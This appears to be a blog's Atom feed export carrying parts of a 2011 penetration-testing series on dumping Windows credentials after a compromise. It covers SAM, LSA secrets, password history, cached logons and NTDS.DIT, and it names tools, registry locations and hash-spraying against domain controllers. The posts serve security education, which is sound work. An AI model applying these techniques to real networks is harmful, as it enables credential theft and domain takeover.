Similar scenario to &lt;a href=&quot;http://bernardodamele.blogspot.com/2011/12/dump-windows-password-hashes_20.html&quot;&gt;LSA secrets dump&lt;/a&gt;: you have compromised a machine part of a Windows domain and have got a shell as &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;Local System&lt;/span&gt;. There are no traces of domain users&#39; credentials from LSA secrets. Another step to extend your control over the domain? Check if the machine is configured to cache domain logon information as explained above. If so, dump them.&lt;br /&gt;
&lt;br /&gt;
Cached domain logon&amp;nbsp;information&amp;nbsp;&lt;b&gt;cannot be directly used to authenticate to other systems&lt;/b&gt; as opposed to &lt;a href=&quot;http://bernardodamele.blogspot.com/2009/12/keimpx-in-action.html&quot;&gt;NT and LM password hashes&lt;/a&gt;. Nevertheless, you can crack them and use the clear-text password to authenticate to machines part of the relevant domain. I will cover password hashes cracking in depth in another blog post.&lt;br /&gt;
&lt;br /&gt;
Conceptually, caching domain logon&amp;nbsp;information&amp;nbsp;is effective and solves network administrators&#39; headaches to deal with domain users logons when the domain controllers are under maintenance or unavailable for whatever reason. Although, looking at it with the security lens,&amp;nbsp;&lt;b&gt;it clearly poses a security threat&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
I have added these tools and improved the &lt;a href=&quot;https://docs.google.com/spreadsheet/ccc?key=0Ak-eXPencMnydGhwR1VvamhlNEljVHlJdVkxZ2RIaWc&quot;&gt;spread-sheet&lt;/a&gt;. Feedback is welcome!</content><link rel='replies' type='application/atom+xml' href='http://bernardodamele.blogspot.com/feeds/6959090608929785798/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5992960384014403726/6959090608929785798' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/6959090608929785798'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/6959090608929785798'/><link rel='alternate' type='text/html' href='http://bernardodamele.blogspot.com/2011/12/dump-windows-password-hashes_21.html' title='Dump Windows password hashes efficiently - Part 4'/><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglGd3F-u4txxIydhsFghOCMHQ8r9o9F9o9mRi0pibKzTJDZbSvhoIj4dFuD9rdwETrI_LfzUbqEGVXYdyWWbt3QKjix5EbtYgfZRANUnq2mrPKMUyXCD6eNkBITX-trCwh7bHe0kOQoXM/s72-c/interactive_logons_cached_domain_logons.PNG" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5992960384014403726.post-5639227596518997996</id><published>2011-12-20T20:49:00.000+00:00</published><updated>2012-01-10T11:36:50.897+00:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="domain"/><category scheme="http://www.blogger.com/atom/ns#" term="dump"/><category scheme="http://www.blogger.com/atom/ns#" term="hash"/><category scheme="http://www.blogger.com/atom/ns#" term="local security policy"/><category scheme="http://www.blogger.com/atom/ns#" term="lsa"/><category scheme="http://www.blogger.com/atom/ns#" term="lsa secrets"/><category scheme="http://www.blogger.com/atom/ns#" term="password history"/><category scheme="http://www.blogger.com/atom/ns#" term="passwords"/><category scheme="http://www.blogger.com/atom/ns#" term="tool"/><category scheme="http://www.blogger.com/atom/ns#" term="windows"/><title type='text'>Dump Windows password hashes efficiently - Part 3</title><content type='html'>&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Password history&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
In the previous &lt;a href=&quot;http://bernardodamele.blogspot.com/2011/12/dump-windows-password-hashes.html&quot;&gt;two&lt;/a&gt; &lt;a href=&quot;http://bernardodamele.blogspot.com/2011/12/dump-windows-password-hashes_16.html&quot;&gt;posts&lt;/a&gt; of this &lt;a href=&quot;http://bernardodamele.blogspot.com/search/label/hash&quot;&gt;series&lt;/a&gt;, I discussed how to dump Windows local users&#39; password hashes (SAM) and Windows domain users&#39; password hashes from domain controllers (ntds.dit).&lt;br /&gt;
&lt;br /&gt;
When the password policy setting is configured to enforce password history, Windows stores a certain number of used passwords before an old password can be reused. The following screenshot shows you where this policy can be set.&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWufVc1R-f_k2Hcrfj2O8CnHOuoraCIGp3LfvBM-ZK43LLCTT4pkeSvq2dHECWsaV4mAlOsb6O8agiF_jZdloWBBw2aIVRoQf-bEpOqxMa0MtYCd1eIakrwsEe3jghjo_5pYhwxwAAumE/s1600/enforce_password_history.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;297&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWufVc1R-f_k2Hcrfj2O8CnHOuoraCIGp3LfvBM-ZK43LLCTT4pkeSvq2dHECWsaV4mAlOsb6O8agiF_jZdloWBBw2aIVRoQf-bEpOqxMa0MtYCd1eIakrwsEe3jghjo_5pYhwxwAAumE/s640/enforce_password_history.PNG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Local Security Policy (secpol.msc) / Account Policies / Password Policy / Enforce password history&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
By default on workstations, this value is set to 0 and on domain controllers it is set to 24. This means that when dumping domain users&#39; hashes from active directory&#39;s &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;ntds.dit&lt;/span&gt; file, there are high chances to dump also the password history allowing you, during the password cracking phase, to recognise patterns used by the target users.&lt;br /&gt;
&lt;br /&gt;
Despite not being current password hashes, pattern identification can lead to further attacks. For instance, ease of guessing passwords&amp;nbsp;used against standalone services at&amp;nbsp;later stages of your post-exploitation. Therefore, never underestimate the added value provided by dumping and cracking the password history.&lt;br /&gt;
&lt;br /&gt;
Many of the tools introduced so far can dump the password history: &lt;a href=&quot;http://www.oxid.it/cain.html&quot;&gt;Cain &amp;amp; Abel&lt;/a&gt;, &lt;a href=&quot;http://packetstormsecurity.org/files/62371/PWDumpX14.zip&quot;&gt;PWDumpX&lt;/a&gt;&amp;nbsp;along others. &lt;a href=&quot;http://www.toolcrypt.org/tools/pwhist/index.html&quot;&gt;&lt;b&gt;&lt;span id=&quot;goog_1633696909&quot;&gt;&lt;/span&gt;pwhist&lt;/b&gt;&lt;span id=&quot;goog_1633696910&quot;&gt;&lt;/span&gt;&lt;/a&gt; from Toolcrypt is also a valid option.&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: large;&quot;&gt;&lt;b&gt;LSA secrets&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
LSA secrets is an area in the registry where Windows stores important information. This includes:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;b&gt;Account passwords for services that are set to run by operating system users&lt;/b&gt; as opposed to &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;Local System&lt;/span&gt;, &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;Network Service&lt;/span&gt; and &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;Local Service&lt;/span&gt;.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Password used to logon to Windows if auto-logon is enabled&lt;/b&gt; or, generally, the password of the user logged to the console (&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;DefaultPassword&lt;/span&gt; entry).&lt;/li&gt;
&lt;/ul&gt;
LSA secrets are stored in registry hive &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;HKEY_LOCAL_MACHINE/Security/Policy/Secrets&lt;/span&gt;. Each secret has its own key. The parent key, &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;HKEY_LOCAL_MACHINE/Security/Policy&lt;/span&gt;, contains the data necessary for accessing and decoding the secrets.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Dump LSA secrets&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
As per SAM hashes, the LSA secrets can be accessed by DLL injection into the lsass.exe process or from the registry files.&lt;br /&gt;
If you are Administrator and the target system is used in production, I recommend you to choose the safe path and copy off the system the registry files:&amp;nbsp;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;SYSTEM&lt;/span&gt;&amp;nbsp;and&amp;nbsp;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;SECURITY&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: inherit;&quot;&gt;:&lt;/span&gt;&amp;nbsp;you can use the legacy registry hive copy (&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;reg.exe&lt;/span&gt;/&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;regedit.exe&lt;/span&gt;) or the volume shadow copies technique illustrated in the&amp;nbsp;&lt;a href=&quot;http://bernardodamele.blogspot.com/2011/12/dump-windows-password-hashes.html&quot;&gt;first post&lt;/a&gt;.&amp;nbsp;&lt;a href=&quot;http://www.oxid.it/cain.html&quot;&gt;Cain &amp;amp; Abel&lt;/a&gt;&amp;nbsp;can extract LSA secrets from these files.&lt;br /&gt;
Alternatively, there are numerous tools that can be used to dump LSA secrets by injecting into lsass.exe process:&amp;nbsp;&lt;b&gt;&lt;a href=&quot;http://www.truesec.se/sakerhet/verktyg/saakerhet/gsecdump_v2.0b5&quot;&gt;gsecdump&lt;/a&gt;&lt;/b&gt;&amp;nbsp;has proved to be the most reliable for LSA secrets, working across all Windows versions and architectures. On 32-bit architecture, the original&amp;nbsp;&lt;a href=&quot;http://packetstormsecurity.org/files/10457/lsadump2.zip&quot;&gt;&lt;b&gt;lsadump2&lt;/b&gt;&lt;/a&gt;&amp;nbsp;has proved to be good too. Despite my expectations, the two&amp;nbsp;&lt;a href=&quot;http://www.nirsoft.net/&quot;&gt;NirSoft&lt;/a&gt;&amp;nbsp;tools (&lt;a href=&quot;http://www.nirsoft.net/utils/lsa_secrets_dump.html&quot;&gt;LSASecretsDump&lt;/a&gt;&amp;nbsp;and&amp;nbsp;&lt;a href=&quot;http://www.nirsoft.net/utils/lsa_secrets_view.html&quot;&gt;LSASecretsView&lt;/a&gt;) have failed to dump services&#39; account passwords, regardless of the architecture.&lt;br /&gt;
&lt;br /&gt;
Regardless of the technique used, the passwords extracted are&amp;nbsp;UTF-16&amp;nbsp;encoded. This means that they are in&amp;nbsp;&lt;b&gt;clear-text&lt;/b&gt;&amp;nbsp;as opposed to SAM hashes. You can read a detailed description of the LSA secrets format &lt;a href=&quot;http://moyix.blogspot.com/2008/02/decrypting-lsa-secrets.html&quot;&gt;here&lt;/a&gt;&amp;nbsp;by &lt;a href=&quot;https://twitter.com/moyix&quot;&gt;Brendan Dolan-Gavitt&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
The following screen-shot shows the output of &lt;a href=&quot;http://www.truesec.se/sakerhet/verktyg/saakerhet/gsecdump_v2.0b5&quot;&gt;gsecdump&lt;/a&gt; on a Windows Server 2003 machine running IBM DB2 and PostgreSQL. Both database management systems run as Windows local users:&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzTkylPPj4OC4R-dSYOl9kblQprrpgqAztjDE58ZQS-3_Bua1wONEw5BANfR9AhVaqRv3D13hFUQTEirDDvx6d-YXr5eJ__ZcFlix_axSj20zI1ZlDhXMPQKGRlnQW4hjCFoPDAtf6AZ0/s1600/gsecdump_w2k3_32bit_dump_lsa_secrets.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;234&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzTkylPPj4OC4R-dSYOl9kblQprrpgqAztjDE58ZQS-3_Bua1wONEw5BANfR9AhVaqRv3D13hFUQTEirDDvx6d-YXr5eJ__ZcFlix_axSj20zI1ZlDhXMPQKGRlnQW4hjCFoPDAtf6AZ0/s640/gsecdump_w2k3_32bit_dump_lsa_secrets.PNG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Output of &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;gsecdump.exe -l&lt;/span&gt; to dump LSA secrets&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div&gt;
&lt;b style=&quot;text-align: left;&quot;&gt;Threats posed by LSA secrets&lt;/b&gt;&lt;/div&gt;
&lt;br /&gt;
Now, imagine that you have compromised a server part of a Windows domain, you have got a shell as&amp;nbsp;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;Local System&lt;/span&gt;. If you want to extend your control over the network perimeter,&amp;nbsp;one of the viable ways is to verify if any service runs as real operating system users and, if so, extract their clear-text password from LSA secrets.&lt;br /&gt;
You can run &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;services.msc&lt;/span&gt; from &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;Start / Run&lt;/span&gt; and sort the entries by &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;Log On As&lt;/span&gt;&amp;nbsp;column to check this quickly. The following screen-shot demonstrates this:&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgl3JG5UuSAJ3IBrDsYAFr_yHVYRCKQeNWzubYuGsgEo6JXkzRDqr5FRYiCRFngf7nbdN2bMbm6AH0H8zexLzjrNlwqRLMWF1zhLI0i8jevrX4fkK3UODkQWeIpsxC1MJP0XRyQJbMTS5o/s1600/services_running_as_local_users.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;104&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgl3JG5UuSAJ3IBrDsYAFr_yHVYRCKQeNWzubYuGsgEo6JXkzRDqr5FRYiCRFngf7nbdN2bMbm6AH0H8zexLzjrNlwqRLMWF1zhLI0i8jevrX4fkK3UODkQWeIpsxC1MJP0XRyQJbMTS5o/s640/services_running_as_local_users.PNG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Services running as local users on Windows&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
Obviously, the built-in &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;sc.exe&lt;/span&gt; command can do the same as well as other less known tools.&lt;br /&gt;
It is common to identify enterprise software like Veritas Netbackup, Microsoft SQL Server, Microsoft Exchange and others running as real users.&amp;nbsp;More dangerously, sometimes system administrators opt to run services as domain users, if not domain administrators.&lt;br /&gt;
This is clearly &lt;b&gt;wrong and poses a high threat to&amp;nbsp;overall&amp;nbsp;security&lt;/b&gt; of the target Windows domain because, as an attacker, you can dump the LSA secrets and use the clear-text domain administrator password to login to the root domain controller and takeover the Windows network.&lt;br /&gt;
&lt;br /&gt;
I have added these tools and improved the &lt;a href=&quot;https://docs.google.com/spreadsheet/ccc?key=0Ak-eXPencMnydGhwR1VvamhlNEljVHlJdVkxZ2RIaWc&quot;&gt;&lt;b&gt;spread-sheet&lt;/b&gt;&lt;/a&gt; recently. Feedback is welcome!</content><link rel='replies' type='application/atom+xml' href='http://bernardodamele.blogspot.com/feeds/5639227596518997996/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5992960384014403726/5639227596518997996' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/5639227596518997996'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/5639227596518997996'/><link rel='alternate' type='text/html' href='http://bernardodamele.blogspot.com/2011/12/dump-windows-password-hashes_20.html' title='Dump Windows password hashes efficiently - Part 3'/><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWufVc1R-f_k2Hcrfj2O8CnHOuoraCIGp3LfvBM-ZK43LLCTT4pkeSvq2dHECWsaV4mAlOsb6O8agiF_jZdloWBBw2aIVRoQf-bEpOqxMa0MtYCd1eIakrwsEe3jghjo_5pYhwxwAAumE/s72-c/enforce_password_history.PNG" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5992960384014403726.post-3008619554861237544</id><published>2011-12-16T00:24:00.000+00:00</published><updated>2012-01-10T11:26:17.199+00:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="domain"/><category scheme="http://www.blogger.com/atom/ns#" term="dump"/><category scheme="http://www.blogger.com/atom/ns#" term="hash"/><category scheme="http://www.blogger.com/atom/ns#" term="keimpx"/><category scheme="http://www.blogger.com/atom/ns#" term="metasploit"/><category scheme="http://www.blogger.com/atom/ns#" term="ntds"/><category scheme="http://www.blogger.com/atom/ns#" term="passwords"/><category scheme="http://www.blogger.com/atom/ns#" term="sam"/><category scheme="http://www.blogger.com/atom/ns#" term="tool"/><category scheme="http://www.blogger.com/atom/ns#" term="vss"/><category scheme="http://www.blogger.com/atom/ns#" term="windows"/><title type='text'>Dump Windows password hashes efficiently - Part 2</title><content type='html'>&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Conclusions on Windows Security Account Manager&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
In the &lt;a href=&quot;http://bernardodamele.blogspot.com/2011/12/dump-windows-password-hashes.html&quot;&gt;previous post&lt;/a&gt; of this &lt;a href=&quot;http://bernardodamele.blogspot.com/search/label/hash&quot;&gt;series&lt;/a&gt;,&amp;nbsp;I briefly explained what the Windows Security Account Manager (SAM) is, how to dump Windows local users&#39; password hashes from SAM having &lt;b&gt;physical access&lt;/b&gt; to the target system or &lt;b&gt;following a remote compromise&lt;/b&gt; of the machine, post-exploitation.&lt;br /&gt;
Remotely, there exist three possible techniques: legacy, volume shadow copies and in-memory dump.&amp;nbsp;Lastly, I highlighted the most widely used tools for the in-memory hashes dump and I collected and released them in &lt;a href=&quot;https://docs.google.com/spreadsheet/ccc?key=0Ak-eXPencMnydGhwR1VvamhlNEljVHlJdVkxZ2RIaWc&quot;&gt;this spread-sheet&lt;/a&gt;&amp;nbsp;along with other tools that I will discuss later.&lt;br /&gt;
&lt;br /&gt;
I want to reiterate the following concept: given file transfer ability between your machine and the target system, always prefer to copy&amp;nbsp;the&amp;nbsp;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;SAM&lt;/span&gt;&amp;nbsp;and&amp;nbsp;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;SECURITY&lt;/span&gt;&amp;nbsp;files&amp;nbsp;over from the target and extract the password hashes offline afterwards.&lt;br /&gt;
Although, this safe approach to password hashes dump does not guarantee that you are going to obtain all Windows local accounts&#39; hashes. If you suspect that this is case, you will have to dump the hashes via in-memory dump and merge the results. Odd, but I have seen this happening quite a few times already and I am still discussing standalone Windows workstations, not part of a Windows domain.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Preferred tools&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Personally, my first choice for standalone SAM hashes dump is&amp;nbsp;&lt;a href=&quot;http://www.tarasco.org/security/pwdump_7/index.html&quot;&gt;pwdump7&lt;/a&gt;: it works on all Windows version from 2000 on both 32-bit and 64-bit systems. However, this tool does not perform an in-memory dump and could miss out hashes. I always run &lt;a href=&quot;http://www.truesec.se/sakerhet/verktyg/saakerhet/gsecdump_v2.0b5&quot;&gt;&lt;b&gt;gsecdump&lt;/b&gt;&lt;/a&gt;&amp;nbsp;along with pwdump7 to cover both techniques across all Windows versions and architecture and carefully launched once at a time do crash the LSASS process.&lt;br /&gt;
&lt;br /&gt;
When I have got a Metasploit Meterpreter shell onto the system, I rely on the post-exploitation module &lt;a href=&quot;https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/smart_hashdump.rb&quot;&gt;&lt;b&gt;smart_hashdump&lt;/b&gt;&lt;/a&gt; by &lt;a href=&quot;http://www.darkoperator.com/&quot;&gt;Carlos Perez&lt;/a&gt;, falling back to its predecessor post-exploitation module&amp;nbsp;&lt;a href=&quot;https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/hashdump.rb&quot;&gt;&lt;b&gt;hashdump&lt;/b&gt;&lt;/a&gt; when it fails.&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Active Directory&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Definition from &lt;a href=&quot;http://en.wikipedia.org/wiki/Active_Directory&quot;&gt;Wikipedia&lt;/a&gt;:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;i&gt;&lt;b&gt;Active Directory&lt;/b&gt; serves as a central location for network administration and security. It is &lt;b&gt;responsible for authenticating and authorizing all users and computers within a network of Windows domain type&lt;/b&gt;, assigning and enforcing security policies for all computers in a network [...] when a user logs into a computer that is part of a Windows domain, it is Active Directory that verifies his or her password [...]&lt;/i&gt;&lt;/blockquote&gt;
This definition comes into play when you have compromised a system part of a Windows domain. In order to quickly extend your control over the whole domain, the goal is to compromise the root domain controller. If you are within a child domain, the final goal is to achieve Enterprise Domain Administrator level access onto the root domain controller of the Windows forest&#39;s parent domain. There are plenty of resources on the Internet discussing domain escalation and this is out of the scope of this post series. A &lt;a href=&quot;http://pentestmonkey.net/uncategorized/from-local-admin-to-domain-admin&quot;&gt;&lt;b&gt;blog post&lt;/b&gt;&lt;/a&gt;&amp;nbsp;that summarizes the best techniques and goes straight to the point is written by &lt;a href=&quot;http://pentestmonkey.net/&quot;&gt;pentestmonkey.net&lt;/a&gt;. Alternatively, you can pass the local users&#39; hashes obtained from your entry point machines to &lt;a href=&quot;http://code.google.com/p/keimpx/&quot;&gt;&lt;b&gt;keimpx&lt;/b&gt;&lt;/a&gt; and spray them against the domain controllers: if the system administrator reuses the same local Administrator password across all machines, you are in!&lt;br /&gt;
&lt;br /&gt;
Regardless of how you have compromised a domain controller,&amp;nbsp;preferably the root domain controller as it is the first to get updated with changes to user accounts,&amp;nbsp;the important is that you have got an administrator (local or domain) shell onto it.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Database file NTDS.DIT&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
The goal now is to dump the domain users&#39; password hashes. These are stored, along with&amp;nbsp;nearly all the information that is accessible in the Active Directory (user objects, groups, membership information, etc), in a binary file,&amp;nbsp;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;&lt;b&gt;%SystemRoot%\ntds\NTDS.DIT&lt;/b&gt;&lt;/span&gt;.&lt;br /&gt;
&lt;br /&gt;
This file is locked by the system. You can use the volume shadow copies technique illustrated in the &lt;a href=&quot;http://bernardodamele.blogspot.com/2011/12/dump-windows-password-hashes.html&quot;&gt;previous post&lt;/a&gt; to copy it along with the&amp;nbsp;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;SYSTEM&lt;/span&gt; file over to your machine.&lt;br /&gt;
Alternatively,&amp;nbsp;use the &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;ntdsutil&lt;/span&gt; snapshot facility introduced in Windows Server 2008. It will create a snapshot of the active directory database allowing you to copy &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;ntds.dit&lt;/span&gt; and &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;SYSTEM&lt;/span&gt; file. This technique is detailed on a Microsoft TechNet &lt;a href=&quot;http://technet.microsoft.com/en-us/library/cc753609%28WS.10%29.aspx&quot;&gt;article&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Extract hashes from NTDS.DIT&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
You can use the passcape&#39;s &lt;a href=&quot;http://www.passcape.com/windows_password_recovery&quot;&gt;&lt;b&gt;Windows Password Recovery tool&lt;/b&gt;&lt;/a&gt; to extract hashes from ntds.dit.&lt;br /&gt;
&lt;br /&gt;
Alternatively, you can use a couple of tools (&lt;a href=&quot;http://csababarta.com/downloads/ntds_dump_hash.zip&quot; style=&quot;font-weight: bold;&quot;&gt;ntds_dump_hash.zip&lt;/a&gt;)&amp;nbsp;developed by &lt;a href=&quot;http://csababarta.com/&quot;&gt;Csaba Barta&lt;/a&gt; and documented in his paper titled &lt;a href=&quot;http://csababarta.com/downloads/ActiveDirectoryOfflineHashDumpAndForensics.pdf&quot;&gt;Research paper about offline hash dump and forensic analysis of ntds.dit&lt;/a&gt;. These tools are used to:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;b&gt;Extract&lt;/b&gt; the required data from &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;ntds.dit&lt;/span&gt;: &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;esedbdumphash&lt;/span&gt;.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Decrypt&lt;/b&gt; the hashes and interpreting other information regarding the user account: &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;dsdump.py&lt;/span&gt;, &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;dsdumphistory.py&lt;/span&gt;, &lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace;&quot;&gt;dsuserinfo.py&lt;/span&gt;.&lt;/li&gt;
&lt;/ul&gt;
Download and compile the tool:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
